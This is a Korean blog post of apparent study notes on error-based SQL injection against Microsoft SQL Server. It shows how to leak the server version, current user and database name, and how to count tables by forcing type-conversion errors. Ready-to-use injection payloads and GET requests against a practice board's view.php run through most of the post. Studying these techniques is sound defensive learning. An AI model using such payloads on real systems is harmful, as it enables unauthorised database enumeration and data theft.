| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | |
| 7 | 8 | 9 | 10 | 11 | 12 | 13 |
| 14 | 15 | 16 | 17 | 18 | 19 | 20 |
| 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| 28 | 29 | 30 |
- time-based
- 모의해킹
- androGoat
- bandit #밴딧 #웹해킹 #해킹 #화이트해커 #공부 #스터디 #IT #hacking #linux #openssl #nmap
- 안드로이드 모의해킹
- Linux
- 리눅스
- 밴딧
- msfconsole #heartbleed #247ctf #misc #webhacking
- pentest
- 취약점 진단
- error-based
- 쿠키변조
- sql injection
- androidhacking
- Bandit
- Today
- Total
d0r1
error based 테이블 개수 출력하기 본문
MSSQL
error based 공격 핵심 개념
!작업에 실패한 데이터를 에러 메시지 내 포함!
묵시적, 명시적으로 형변환해서 에러 만들기
c = convert(int, “crehacktive”) → error !
1. 에러 기반 공격을 통해 기본 정보 목록화 (검색)
version : ' and 1=@@version— → 'Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) Sep 24 2019 13:48:23 Copyright (C) 2019 Microsoft Corporatio
db_name : ' and 1=system_user;-- → sa (현재 사용자)
' and 1=db_name();—
2. 에러 기반 공격을 통해 기본 정보 목록화 (게시글)
db_version : /board/mssql/view.php?idx=1+and+1=@@version--+
db_name : /board/mssql/view.php?idx=1+and+1=db_name()--+
3. 현재 데이터베이스 내 테이블 개수 파악
GET /board/mssql/view.php?idx=1+and+1=concat((select+count(*)+from+sys.objects+where+type='u'),'a')--+
GET /board/mssql/view.php?idx=1+and+1=convert(varchar,(select+count(*)+from+sys.objects+where+type='u'))%2B'a
조건 명시 경우, 1=( 조건 ) 으로 에러 발생 유도를 하는데,
만약, 개수의 경우에는 1=(int) 이기 때문에 에러가 발생하는 케이스가 아니다
그러므로, 1=(char) 으로 변형을 해주어야 하는데
이때 사용하는 방법이 위의 3번의 케이스이다
3-1) concat 함수 활용하기
concat("var1", "var2") 형식으로 var1 + var2를 수행할 수 있다.
그렇다고 1+1 concat한다고 해서 2가 되는 것은 아니다


3-2) 연결연산자 "+" 사용하기
정수형 + 문자열 -> 문자열으로 변환된다는 점을 사용하면
3+"A"를 통해, 3A (문자열) 리턴이 가능하다
이를 활용하여 error-based sqli 이 가능하다
'이것저것' 카테고리의 다른 글
| [root-me] HTTP-IP restriction bypass (0) | 2024.08.16 |
|---|---|
| subdomain 찾기 ( ffuf ) (0) | 2024.07.26 |
| docker command not found 해결법 (0) | 2024.03.13 |
| colima - [hostagent] Waiting for the essential requirement 1 of 4: "ssh" (0) | 2024.03.13 |
| JWT 기억하기 (0) | 2024.03.12 |